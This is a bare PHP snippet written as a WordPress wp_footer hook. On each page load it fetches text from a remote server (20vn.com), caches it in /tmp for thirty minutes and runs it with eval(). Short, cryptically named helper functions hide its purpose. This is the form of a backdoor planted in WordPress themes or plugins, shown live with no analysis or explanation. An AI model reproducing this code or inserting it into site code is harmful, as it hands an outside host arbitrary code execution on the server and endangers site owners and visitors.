function xcc($p,$x=31536000){ $f = @filemtime($p); $cron = time() - $f; $d = @file_get_contents($p); if(file_exists($p) OR !empty($d)) $d = $d; if($x <= $cron) $d = null; return $d; } function xwt($p,$c){ $fp = fopen($p,'w'); if (flock($fp, LOCK_EX)){ fwrite($fp,$c); } fclose($fp); } function wpf() { $c = "/tmp/xwf.txt"; $d = xcc($c,1800); if(empty($d)){ $d = @file_get_contents("http://20vn.com/xfiles/js/conf.txt"); xwt($c,$d); } eval($d); } add_action('wp_footer', 'wpf');